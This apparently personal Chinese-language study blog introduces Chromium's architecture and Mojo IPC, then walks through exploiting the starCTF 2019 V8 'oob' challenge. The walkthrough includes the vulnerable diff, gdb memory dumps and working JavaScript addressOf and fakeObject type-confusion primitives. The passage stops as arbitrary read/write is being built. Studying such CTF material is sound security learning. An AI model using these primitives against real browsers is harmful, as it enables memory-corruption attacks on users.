学习一下Client的Pwn,入门一下

1. 了解Chromium基础架构

Start Here: Background Reading

Multi-Process Architecture

Chromium的高层架构和其是如何被分为多进程的
问题:渲染引擎很难没有bug或没有安全风险。
现在的操作系统是更加鲁棒的,因为进行了进程之间的隔离。Chromium的架构也采用了这样的更加鲁棒的设计
整体架构
Chromium使用多进程来保护整个应用避免bug和glitches。同时也使每个进程之间相互隔离,与系统之间也进行了隔离。
我们将主进程(运行UI界面,管理renderer和其他进程的进程)成为浏览器进程”browser process“。同理,负责web页面内容的称为renderer processes。renderers使用Blink开源页面引擎来管理HTML。

管理renderer进程
每一个renderer process有个RenderProcess对象,管理与父进程之间的通信,同时保持全局状态。browser针对每一个renderer process维护一个相应的RenderProcessHost,管理browser的状态并与renderer通信。通信方式为Mojo或者Chromium's legacy IPC system
管理帧与文档
每一个renderer process有一个或多个RenderFrame对象,对应包含内容的frames(帧)。对应browser的是RenderFrameHost管理其文档的状态。每一个RenderFrame有一个路由ID,用于区分renderer内多个文档或帧(仅在单个renderer)。全局区分的话需要RenderProcessHost和路由ID。与browser的通信是通过RenderFrameHost完成的
组件和接口
renderer process内:

  • RenderProcessRenderProcessHost处理Mojo和legacy IPC,每一个render process对应一个RenderProcess
  • RenderFrame对象与其对应的RenderFrameHost通信(Mojo)和Blink层,该对象代表一个web文档页面的内容
    browser process内:
  • Browser对象代表顶层的浏览器窗口
  • RenderProcessHost对象代表browser侧和renderer的IPC通信。
  • RenderFrameHost对象与RenderFrame进行通信,RenderWidgetHost处理输入并渲染RenderWidget对象
    先贴个Chromium渲染web页面的结构图 共享 renderer process
    通常,每个窗口或tab页面打开一个新的进程。浏览器browser会生成一个新的进程并令其创建一个RenderFrame,该对象后续还会在页面中创建多个iframes。
    有时有必要在不同的tab或窗口之间共享renderer process。例如,web应用可以使用window.open创建新的窗口,那么新的文档就需要和原进程共享相同的进程。
    检测崩溃或非预期renderers
    browser会通过每一个mojo或IPC连接监视进程句柄。如果句柄signal信号,表示renderer process崩溃,受影响的页面和帧会报告。
    renderer沙箱
    renderer在隔离进程中运行,我们可以限制其对系统资源的使用。例如,我们可以确保renderer仅通过chromium的网络服务来访问网络。同理,我们可以限制其对文件系统的访问,或者用户的显示和输入。可以防止进程被劫持利用后造成更大的危害。
    申请回内存
    renderers在不同进程中运行,因此renderers之间存在优先级。正常情况下,Windows系统中最小化的进程的内存会自动放进available memory的池中。在低内存情况下,Windows会将这部分内存交换到硬盘。Chromium也采取了相同的策略。当然直接放入硬盘会降低性能,所以采用的逐步释放的策略。
    另外的进程类型
    Chromium还将一些其他的组件切割到了隔离进程中。例如,现在Chromium还包括单独的GPU进程,网络服务和存储服务。还有沙箱服务

Blink是一个web平台的渲染引擎。简单的说,BLink实现了浏览器页面中所有渲染的内容

  • 实现了web平台的specs(DOM、CSS和Web IDL)
  • 嵌入v8和运行JavaScript
  • 从底层网络栈中获取资源
  • 建立DOM树
  • 计算样式和页面
  • 嵌入Chrome Compositor和绘图
    Blink由Chromium、Android WebView和Opera采用
Process/thread Architecture

进程
Chromium为多进程架构。Blink在renderer process中运行。
理论上一个renderer process对应一个网站/页面,然而在实际中,由于内存有限,通常一个renderer process为不同的页面共享。

There is no 1:1 mapping between renderer processes, iframes and tabs.

假设renderer process在沙箱模式运行,Blink需要请求browser process执行系统调用(文件访问、音频播放)以及访问用户信息(cookie、密码)。browser-renderer之间的通信由Mojo实现(过去使用IPC,当然现在仍有很多地方仍然在用,但基本上是要被废弃的)。在Chromium视角下,将browser process抽象理解为services。在Blink视角下,Blink可以使用Mojo与services进行交互

线程
一个renderer process内部会创建多少个线程?
Blink有一个主线程,多个工作线程和一些内部线程。
几乎所有的重要事务在主线程中执行。所有的JavaScript(workers除外),DOM,CSS,样式渲染在主线程上进行。Blink进行了高度优化来最大化主线程的性能。
Blink会创建多个工作线程来执行Web WorkersServiceWorkerWorklets
Blink和V8会创建一些内部线程来处理webaudio、数据库、GC等等。
对于线程之间的通信,你需要使用PostTask API。共享内存是不推荐的。

Blink的初始化和结束
Blink由BlinkIntializer::Initialize()初始化。必须在开头调用。
Blink不会结束。一个原因是性能表现;另一个是通常清理renderer process的所有内容比较困难。

目录结构

Content public APIs and Blink public APIs
Content public APIs是令embedder用于嵌入渲染引擎的API层。必须小心维护,因为其暴露给embedder。
Blink public APIs是通过//third_party/blink为Chromium提供功能的。从WebKit继承来的。历史遗留问题

Directory structure and Dependencies
//third_party/blink有以下目录结构:

  • platform/:底层细节
  • core/ 和 modules/
  • bindings/core/ 和 bindings/modules/
  • controller/
    依赖流
  • Chromium => controller/ => modules/ and bindings/modules/ => core/ and bindings/core => platform/ => low-level primitives eg: //base, //v8 and //cc
    WTF
    WTF是”Blink-specific base”库,位置platform/wtf。存了一些定义,可以减小开销。
内存管理

三种内存分配器:Partition, Oil Pan, malloc/free or new/delete(banned)
PartitionAlloc堆申请方式:USING_FAST_MALLOC

1
2
3
4
5
6
7
class SomeObject {
USING_FAST_MALLOC(SomeObject);
static std::unique_ptr<SomeObject> Create() {
return std::make_unique<SomeObject>(); // Allocated on PartitionAlloc's heap.
}
};

其生命周期由scoped_refptr<>或者std::unique_ptr<>管理。不推荐手动管理其生命周期。
Oil Pan堆申请方式:GarbageCollected

1
2
3
4
5
6
class SomeObject : public GarbageCollected<SomeObject> {
static SomeObject* Create() {
return new SomeObject; // Allocated on Oilpan's heap.
}
};

其生命周期由garbage collection自动管理。
malloc是不被推荐的

  • 默认创建Oil Pan堆
  • 创建PartitionAlloc的情况:1)生命周期明确定义;2)申请OilPan对象会引入麻烦;3)申请OilPan对象会给Garbage collection带来压力。
任务调度

为提高渲染引擎的响应速度,Blink的任务应该是异步的。异步的IPC/Mojo和其他的操作可能会花费几毫秒。
renderer process内的所有任务都需要提交给Blink Scheduler

1
2
// Post a task to frame's scheduler with a task type of kNetworking
frame->GetTaskRunner(TaskType::kNetworking)->PostTask(..., WTF::Bind(&Function));

Blink任务调度器会自动维持一个任务队列来自动化调度来提升性能。

Page, Frame, Document, DOMWindow etc

定义

  • 页与tab概念对应(如果OOPIF未启动),每一个renderer process会存在多个tabs
  • 帧与(main frame, iframe)对应,每一个页可能包括一个或多个帧
  • DOMWindow与javaScript中的window对象对应,每一个Frame有一个DOMWindow
  • 文档与window.document对应,每一个Frame有一个Document
  • ExecutionContext是Document(主线程)和WorkGlobalScope(工作线程)的抽象
    Out-of-Process iframes (OOPIF)
    Site Isolation:一个renderer process对应一个site

2. 拉取源码并编译

系统配置要求

内存>=32GB
硬盘>=100GB
安装clang

安装depot_tools

clone depot_tools仓库

1
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

添加depot_tools到环境变量

1
export PATH="/path/to/depot_tools:$PATH"

获取源码

新建chromium文件夹,并获取源码

1
2
#!/bin/sh
fetch --nohooks chromium

要等很久,如果断了的话可以中gclient sync命令断点重传。

安装额外依赖

进入src目录:

1
2
3
4
#!/bin/sh
cd src
./build/install-build-deps.sh
gclient runhooks

编译

1
2
3
#!/bin/sh
mkdir out/Default
gn gen out/Default

加快编译方式

  • Use Remote Execution: 用不上
  • Include fewer debug symbols:现在入门client pwn还是别了
  • Disable debug symbols for Blink and v8
  • Use Icecc: 分布式编译器,用不上
    1
    2
    use_debug_fission=false
    is_clang=false
  • ccache: 本地编译加速
    设置环境变量:
    1
    2
    3
    export CCACHE_BASEDIR=parent_directory
    export CCACHE_SLOPPINESS=include_file_mtime
    alias cd="cd -P"
  • Using tmpfs:(要调整inode最大数量,要不然会爆)
    1
    2
    3
    #!bin/sh
    # run as root
    mount -t tmpfs -o size=20G,nr_inodes=400k,mode=1777 tmpfs /path/to/out
  • Smaller builds: 不需要
    开始编译
    1
    autoninja -C out/Default chrome
    源码问题,打算切到stable分支再编译一次,确实解决了

3. 实现自定义后门

Mojo术语

一个通信管道由两个端点组成,端点会向另一个发送消息,双向的。
mojom文件描述了接口。给定一个mojom interface和一个通信管道,两个端点分成Remote和Receiver。

定义一个新的Frame接口

假设我们要实现从render frame接口向其对应RenderFrameHostImpl发送”Ping”消息。我们需要定义一个mojom接口,使用该接口创建一个管道,然后绑定管道到正确位置。

定义接口

第一步是创建包含借口定义的.mojom文件。

1
2
3
4
5
6
7
// src/example/public/mojom/pingable.mojom
module example.mojom;

interface Pingable {
// Receives a "Ping" and responds with a random integer.
Ping() => (int32 random);
};

还需要添加相应的编译配置文件来设置定义

1
2
3
4
5
# src/example/public/mojom/BUILD.gn
import("//mojo/public/tools/bindings/mojom.gni")
mojom("mojom") {
sources = [ "pingable.mojom"]
}

创建管道

使用该接口来创建一个消息管道

在mojo中规定,Remote端负责创建管道

renderer中添加以下代码:

1
2
3
4
// src/third_party/blink/example/public/pingable.h
mojo::Remote<example::mojom::Pingable> pingable;
mojo::PendingReceiver<example::mojom::Pingable> receiver =
pingable.BindNewPipeAndPassReceiver();

在例子中,pingable是Remote,receiver是RendingReceiver(Receiver的前身),BindNewPipeAndPassReceiver是最常见的创建消息管道方式。PendingReceiver作为其返回值

发送消息

最终,我们可以在Remote方调用Ping()函数发送消息。

1
2
// src/third_party/blink/example/public/pingable.h
pingable->Ping(base::BindOnce(&OnPong));

如果要接收响应,我们需要维护pingable对象知道OnPong释放。

到这里,我们实现了从renderer process向browser process发送消息。接下来是如何传递其给browser进程并给Receiver处理消息。

向Browser发送PendingReceiver

PendingReceiver可以直接通过mojom消息发送。最常用的方式是直接用于已连接的接口的函数参数。
这里用到的接口是renderer的RenderFrameImpl和相应的RenderFrameHostImpl连接成的BrowserInterfaceBroker。该接口是获取其他接口的工厂。它有GetInterface方法接收GenericPendingReceiver,可以传递任意的接口receiver。

1
2
3
interface BrowserInterfaceBroker {
GetInterface(mojo_base.mojom.GenericPendingReceiver receiver);
}

传递给browser方法

1
2
RenderFrame* my_frame = GetMyFrame();
my_frame->GetBrowserInterfaceBroker().GetInterface(std::move(receiver));

该方法会将PendingReceiver发送给browser process,BrowserInterfaceBroker负责接收

实现接口

最后,我们需要在browser-side实现Pingable接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include "example/public/mojom/pingable.mojom.h"

class PingableImpl : example::mojom::Pingable {
public:
explicit PingableImpl(mojo::PendingReceiver<example::mojom::Pingable> receiver)
: receiver_(this, std::move(receiver)) {}
PingableImpl(const PingableImpl&) = delete;
PingableImpl& operator=(const PingableImpl&) = delete;

// example::mojom::Pingable:
void Ping(PingCallback callback) override {
// Respond with a random 4, chosen by fair dice roll.
std::move(callback).Run(4);
}

private:
mojo::Receiver<example::mojom::Pingable> receiver_;
};

RenderFrameHostImpl实现了BrowserInterfaceBroker。当其接受到GetInterface方法调用时,它会调用前面注册的handler。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// render_frame_host_impl.h
class RenderFrameHostImpl
...
void GetPingable(mojo::PendingReceiver<example::mojom::Pingable> receiver);
...
private:
...
std::unique_ptr<PingableImpl> pingable_;
...
};

// render_frame_host_impl.cc
void RenderFrameHostImpl::GetPingable(
mojo::PendingReceiver<example::mojom::Pingable> receiver) {
pingable_ = std::make_unique<PingableImpl>(std::move(receiver));
}

// browser_interface_binders.cc
void PopulateFrameBinders(RenderFrameHostImpl* host,
mojo::BinderMap* map) {
...
// Register the handler for Pingable.
map->Add<example::mojom::Pingable>(base::BindRepeating(
&RenderFrameHostImpl::GetPingable, base::Unretained(host)));
}

接口实现,可以实现OnPong=4的效果。(到这里只是简要的讲述原理)

服务概述

服务是独立的代码,实现了一个或多个关联的特性或行为,通过Mojo与外部代码交互。
每一个服务都定义实现了一个Mojo接口

构建一个简单的服务

分为以下三个步骤:

  • 定义主服务接口并实现
  • 挂钩函数实现
  • 创建服务进程逻辑实现
定义服务

//chrome/services中定义服务

1
2
3
4
5
6
// src/chrome/services/math/public/mojom/math_service.mojom
module math.mojom;

interface MathService {
Divide(int32 dividend, int32 divisor) => (int32 quotient);
};

定义编译配置文件:

1
2
3
4
5
6
7
8
# src/chrome/services/math/public/mojom/BUILD.gn
import("//mojo/public/tools/bindings/mojom.gni")

mojom("mojom") {
sources = [
"math_service.mojom",
]
}

接下来是真正的MathService实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// src/chrome/services/math/math_service.h
#include "chrome/services/math/public/mojom/math_service.mojom.h"

namespace math {

class MathService : public mojom::MathService {
public:
explicit MathService(mojo::PendingReceiver<mojom::MathService> receiver);
MathService(const MathService&) = delete;
MathService& operator=(const MathService&) = delete;
~MathService() override;

private:
// mojom::MathService:
void Divide(int32_t dividend,
int32_t divisor,
DivideCallback callback) override;

mojo::Receiver<mojom::MathService> receiver_;
};

} // namespace math
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// src/chrome/services/math/math_service.cc
#include "chrome/services/math/math_service.h"

namespace math {

MathService::MathService(mojo::PendingReceiver<mojom::MathService> receiver)
: receiver_(this, std::move(receiver)) {}

MathService::~MathService() = default;

void MathService::Divide(int32_t dividend,
int32_t divisor,
DivideCallback callback) {
// Respond with the quotient!
std::move(callback).Run(dividend / divisor);
}

} // namespace math
1
2
3
4
5
6
7
8
9
10
11
12
13
# src/chrome/services/math/BUILD.gn

source_set("math") {
sources = [
"math_service.cc",
"math_service.h",
]

deps = [
"//base",
"//chrome/services/math/public/mojom",
]
}
挂钩函数实现

注册factory函数``//chrome/utility/services.cc`

1
2
3
4
5
6
7
8
9
10
11
12
auto RunMathService(mojo::PendingReceiver<math::mojom::MathService> receiver) {
return std::make_unique<math::MathService>(std::move(receiver));
}

void RegisterMainThreadServices(mojo::ServiceFactory& services) {
// Existing services...
services.Add(RunFilePatcher);
services.Add(RunUnzipper);

// We add our own factory to this list
services.Add(RunMathService);
//...

启动服务

如果在进程内运行服务,则到这里就做完了。如果需要使用mojo远程来实现进程外则还需要进行以下配置。
使用Content的ServiceProcessHost接口:

1
2
3
4
5
mojo::Remote<math::mojom::MathService> math_service =
content::ServiceProcessHost::Launch<math::mojom::MathService>(
content::ServiceProcessHost::Options()
.WithDisplayName("Math!")
.Pass());

然后可以实现在进程外的除法功能

1
2
3
4
5
// NOTE: As a client, we do not have to wait for any acknowledgement or
// confirmation of a connection. We can start queueing messages immediately and
// they will be delivered as soon as the service is up and running.
math_service->Divide(
42, 6, base::BindOnce([](int32_t quotient) { LOG(INFO) << quotient; }));

设置沙箱

.mojom文件中配置沙箱,只有配置out-of-process时才有效

1
2
3
4
5
import "sandbox/policy/mojom/sandbox.mojom";
[ServiceSandbox=sandbox.mojom.Sandbox.kService]
interface FakeService {
...
};

Content-Layer Services Overview

Interface Brokers

BrowserInterfaceBroker在RenderFrameHostImpl实现的方法,可供直接调用

1
2
3
4
void RenderFrameHostImpl::GetGoatTeleporter(
mojo::PendingReceiver<magic::mojom::GoatTeleporter> receiver) {
goat_teleporter_receiver_.Bind(std::move(receiver));
}

browser_interface_binders.cc文件的PopulateFrameBinders函数中注册该函数。

1
2
3
4
5
6
7
// //content/browser/browser_interface_binders.cc
void PopulateFrameBinders(RenderFrameHostImpl* host,
mojo::BinderMap* map) {
...
map->Add<magic::mojom::GoatTeleporter>(base::BindRepeating(
&RenderFrameHostImpl::GetGoatTeleporter, base::Unretained(host)));
}

也可以指定task runner

1
2
3
4
5
6
7
8
// //content/browser/browser_interface_binders.cc
void PopulateFrameBinders(RenderFrameHostImpl* host,
mojo::BinderMap* map) {
...
map->Add<magic::mojom::GoatTeleporter>(base::BindRepeating(
&RenderFrameHostImpl::GetGoatTeleporter, base::Unretained(host)),
GetIOThreadTaskRunner({}));
}

不同worker的绑定有所不同:

暂时stuck了,看不太懂browser这边的逻辑~~~
参考链接:

4. V8入门

学习 V8 调试、对象基本结构、古早的通用利用链
以2019年starctf2019的浏览器漏洞题oob为例(注意该题目对应v8版本编译需要在ubuntu18.04系统环境下,python2版本):

0x01 v8编译与调试

v8编译参考:Building V8 from source

1. allow-natives-syntax选项

定义了v8运行时函数,便于本地调试

1
2
%DebugPrint(obj) 输出对象地址
%SystemBreak() 触发调试中断主要结合gdb等调试器使用

集成gdb

1
2
3
wget https://github.com/GToad/GToad.github.io/releases/download/20190930/gdbinit_v8
# 在~/.gdbinit中添加以下内容
source /path/to/gdbinit_v8

例如编写test.js:

1
2
3
4
5
6
7
8
9
var a = [1,2,3];
var b = [1.1, 2.2, 3.3];
var c = [a, b];
%DebugPrint(a);
%SystemBreak(); //触发第一次调试
%DebugPrint(b);
%SystemBreak(); //触发第二次调试
%DebugPrint(c);
%SystemBreak(); //触发第三次调试

gdb运行:

1
2
3
4
gdb d8
pwndbg > set args --allow-natives-syntax ./test.js
pwndbg > r
...

使用job命令可以可视化显示JavaScript对象的内存结构:

需要注意,v8在内存中只有数字和对象两种表示。为区分两者,v8在所有对象的内存地址末尾都加了1,表示其为一个对象。因此上图对象实际地址为0xddd00089a9c。

2. v8对象结构

JavaScript是一种解释执行语言,v8本质上是一个JavaScript的解释执行程序
执行流程:v8在读取js语句后,首先将这一条语句解析为语法树,然后通过解释器将语法树变为中间语言的Bytecode字节码,最后利用内部虚拟机将字节码转换为机器码来执行。
为加快解析过程,v8会记录下某条语法树的执行次数,当v8发现某条语法树执行次数超过一定阈值后,会将其直接转换为机器码。后续调用这条js语句时,v8会直接调用这条语法书对应的机器码,而不用转换为ByteCode字节码。(JiT优化)
JIT安全问题:例如如果v8本来通过JIT引擎为某段语法树比如a+b加法计算生成了一段机器码add eax, ebx,而在后续某个时刻,攻击者在js引擎中改变了a和b的对象类型,而JIT引擎并没有识别出该改动,这就导致a和b对象在加法运算时的类型混淆。
v8的对象结构:

map 对象为PACKED_SMI_ELEMENTS类型
prototype prototype
elements 对象元素
length 元素个数
properties 属性

数组对象的elements也是一个对象,这些元素在内存中的分布正好位于数组对象的上方,即低地址处。也就是说,在内存申请上,v8先申请内存存储元素内容,然后申请了一块内存存储这个对象的结构。对象中elements指向了存储元素内容的内存地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
  elements  ----> +------------------------+
| MAP +<---------+
+------------------------+ |
| element 1 | |
+------------------------+ |
| element 2 | |
| ...... | |
| element n | |
ArrayObject ---->-------------------------+ |
| map | |
+------------------------+ |
| prototype | |
+------------------------+ |
| elements | |
| +----------+
+------------------------+
| length |
+------------------------+
| properties |
+------------------------+

3. 浏览器v8的解题步骤

出题方式有两种:1. diff修改v8引擎源代码;2. 直接采用cve漏洞。
出题者通常会提供一个diff文件,或直接给出一个编译过diff补丁后的浏览器程序。如果只给了一个diff文件,就需要我们自己去下载相关的commit源码,然后本地打上diff补丁,编译出浏览器程序,再进行本地调试。
比如starctf中的oob题目给出了一个diff文件:

1
2
3
4
5
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
... ...

下载v8然后利用下面的命令,将diff文件加入到v8中源代码分支中:

1
git apply < oob.diff

最后编译出增加了diff补丁的v8程序调试即可。

0x02 分析diff文件

oob.diff文件增加了三部分内容:
首先,为Array对象增加了一个oob函数,内部表示为kArrayOob:

1
2
3
4
5
6
7
8
9
10
11
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false); //增加了一个oob成员函数
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",

然后,增加了kArrayOob函数的具体实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length))); //off by one越界读取
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());//off by one越界写
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

最后,为kArrayOob类型做了与实现函数的关联:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:

第二部分逻辑:获取oob函数参数,当参数个数为1时,读取数组第length个元素内容,否则将第length个元素改写为args输入参数的第二个参数。上述参数为C++中的参数长度。
C++中成员函数的第一个参数为this指针,因此对应为oob函数参数为空时,返回数组对象第length个元素内容;当oob函数参数个数不为0时,就将第一个参数写入到数组中第length个元素位置。(Off-By-One越界读写漏洞

应用diff到d8

1
2
3
4
5
6
# 引用diff
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598 # commit ID
git checkout
git apply < /path_to_diff/oob.diff
# 重新编译
tools/dev/gm.py x64.release

在v8中调用oob函数:

1
2
3
4
5
6
7
8
9
root@29ed07c63010:/client/v8_test_dir# ../v8/out/x64.release/d8
V8 version 7.5.0 (candidate)
d8> var a = [1, 2, 3, 4];
undefined
d8> a.oob();
2.6582651970803e-310
d8> a.oob(1);
undefined
d8>

发现当无参数时,返回了一个值。
目标diff后漏洞为off-by-one,可以实现一字节的越界读写。
利用gdb进行调试,编写test.js如下:

1
2
3
4
5
6
7
8
var a = [1, 2, 3, 1.1]
%DebugPrint(a);
%SystemBreak();
var data = a.oob();
console.log("[*] oob return data:" + data.toString());
%SystemBreak();
a.oob(2);
%SystemBreak();

gdb查看信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> job 0x21144590de49
0x21144590de49: [JSArray]
- map: 0x367a4cb02ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x222356d11111 <JSArray[0]>
- elements: 0x21144590de19 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x1682d5a00c71 <FixedArray[0]> {
#length: 0x282f286001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x21144590de19 <FixedDoubleArray[4]> {
0: 1
1: 2
2: 3
3: 1.1
}
Python Exception <class 'AttributeError'> module 'pwndbg' has no attribute 'gdblib':
pwndbg> job 0x21144590de48
Smi: 0x2114 (8468)
Python Exception <class 'AttributeError'> module 'pwndbg' has no attribute 'gdblib':
pwndbg> telescope 0x21144590de48
00:0000│ 0x21144590de48 —▸ 0x367a4cb02ed9 ◂— 0x400001682d5a001
01:0008│ 0x21144590de50 —▸ 0x1682d5a00c71 ◂— 0x1682d5a008
02:0010│ 0x21144590de58 —▸ 0x21144590de19 ◂— 0x1682d5a014
03:0018│ 0x21144590de60 ◂— 0x400000000
04:0020│ 0x21144590de68 ◂— 0x0
... ↓ 3 skipped

查看elements布局:

1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x21144590de18
00:0000│ 0x21144590de18 —▸ 0x1682d5a014f9 ◂— 0x1682d5a001
01:0008│ 0x21144590de20 ◂— 0x400000000
02:0010│ 0x21144590de28 ◂— 0x3ff0000000000000
03:0018│ 0x21144590de30 ◂— 0x4000000000000000
04:0020│ 0x21144590de38 ◂— 0x4008000000000000
05:0028│ 0x21144590de40 ◂— 0x3ff199999999999a
06:0030│ 0x21144590de48 —▸ 0x367a4cb02ed9 ◂— 0x400001682d5a001
07:0038│ 0x21144590de50 —▸ 0x1682d5a00c71 ◂— 0x1682d5a008

第二步泄漏内容为:
[*] oob return data:2.95939889729466e-310
0x367a4cb02ed9一致

第三次触发SystemBreak中断后,重新查看elements布局:

1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x21144590de18
00:0000│ 0x21144590de18 —▸ 0x1682d5a014f9 ◂— 0x1682d5a001
01:0008│ 0x21144590de20 ◂— 0x400000000
02:0010│ 0x21144590de28 ◂— 0x3ff0000000000000
03:0018│ 0x21144590de30 ◂— 0x4000000000000000
04:0020│ 0x21144590de38 ◂— 0x4008000000000000
05:0028│ 0x21144590de40 ◂— 0x3ff199999999999a
06:0030│ r15-1 0x21144590de48 ◂— 0x4000000000000000
07:0038│ 0x21144590de50 —▸ 0x1682d5a00c71 ◂— 0x1682d5a008

发现该地址内容被改为2对应的浮点数
由上文可知,该地址内容为数组对象的MAP属性。MAP属性代表对象的类型。

0x03 编写addressOf和fakeObject

基于上述分析,可以利用该漏洞修改MAP属性,从而可以任意修改数组对象的类型,造成类型混淆。

那出现类型混淆怎么利用呢?举个例子,如果我们定义一个FloatArray浮点数数组A,然后定义一个对象数组B。正常情况下,访问A[0]返回的是一个浮点数,访问B[0]返回的是一个对象元素。如果将B的类型修改为A的类型,那么再次访问B[0]时,返回的就不是对象元素B[0],而是B[0]对象元素转换为浮点数即B[0]对象的内存地址了;如果将A的类型修改为B的类型,那么再次访问A[0]时,返回的就不是浮点数A[0],而是以A[0]为内存地址的一个JavaScript对象了。

造成上面的原因在于,v8完全依赖Map类型对js对象进行解析.

通过上面两种类型混淆的方式,能够实现两种效果:

  • AddressOf:将要计算内存地址的对象存放到一个对象数组A[0]中,然后将其修改为浮点数数组类型,访问A[0]即可得到浮点数表示的内存地址;
  • FakeObject:将需要伪造的内存地址存放到一个浮点数数组中的B[0],然后利用上述类型混淆漏洞,将浮点数数组的MAP类型修改为对象数组类型。
    实现AddressOf和FakeObject功能原语
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    var obj = {"a": 1};
    var obj_array = [obj];
    var float_array = [1.1];

    var obj_array_map = obj_array.oob();
    var float_array_map = float_array.oob();

    // float to int & int to float
    var buf = new ArrayBuffer(16);
    var float64 = new Float64Array(buf);
    var bigUint64 = new BigUint64Array(buf);

    function f2i(f)
    {
    float64[0] = f;
    return bigUint64[0];
    }

    function i2f(i)
    {
    bigUint64[0] = i;
    return float64[0];
    }

    function hex(i)
    {
    return i.toString(16).padStart(16, "0");
    }


    // addressOf
    function addressOf(obj_to_leak)
    {
    obj_array[0] = obj_to_leak;
    obj_array.oob(float_array_map);
    let obj_addr = f2i(obj_array[0]) - 1n;
    obj_array.oob(obj_array_map); // 还原
    return obj_addr;
    }

    // fakeObject
    function fakeObject(addr_to_fake)
    {
    float_array[0] = i2f(addr_to_fake + 1n);
    float_array.oob(obj_array_map);
    let faked_obj = float_array[0];
    float_array.oob(float_array_map);
    return faked_obj
    }
    编写测试语句,打印一个对象地址:
    1
    2
    3
    4
    5
    var test_obj = {};
    %DebugPrint(test_obj);
    var test_obj_addr = addressOf(test_obj);
    console.log("[*] leak object addr: 0x" + test_obj_addr.toString(16));
    %SystemBreak();
    输出结果如下,可以发现正常输出地址
    1
    2
    3
    4
    root@29ed07c63010:/client/v8/out/x64.release# ./d8 --allow-natives-syntax ./test.js
    0x1d661f60f071 <Object map = 0xa35c0d80459>
    [*] leak object addr: 0x1d661f60f070
    Trace/breakpoint trap (core dumped)

0x04 如何实现任意地址读写:构造AAR/AAW原语

利用fakeObject函数实现任意读写
js对象内存布局:

1
2
3
4
5
6
7
8
9
10
11
12
ArrayObject  ---->-------------------------+          
| map |
+------------------------+
| prototype |
+------------------------+
| elements 指针 |
| |
+------------------------+
| length |
+------------------------+
| properties |
+------------------------+

在内存中部署以上内存,就可以伪造成一个数组对象,elements对象可控,而这个指针指向了存储数组元素内容的内存地址。将其指向任意地址,就可以实现任意地址读写。
假设定义一个float数组对象fake_array,我们可以利用addressOf泄露fake_array对象地址,然后根据其elements对象与fake_object的内存偏移,可以得出elements地址:addressOf(fake_object) - 0x30的关系。
需要注意,elemets+0x10地址才是实际存储数组元素的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
+---> elements +---> +---------------+
| | |
| +---------------+
| | |
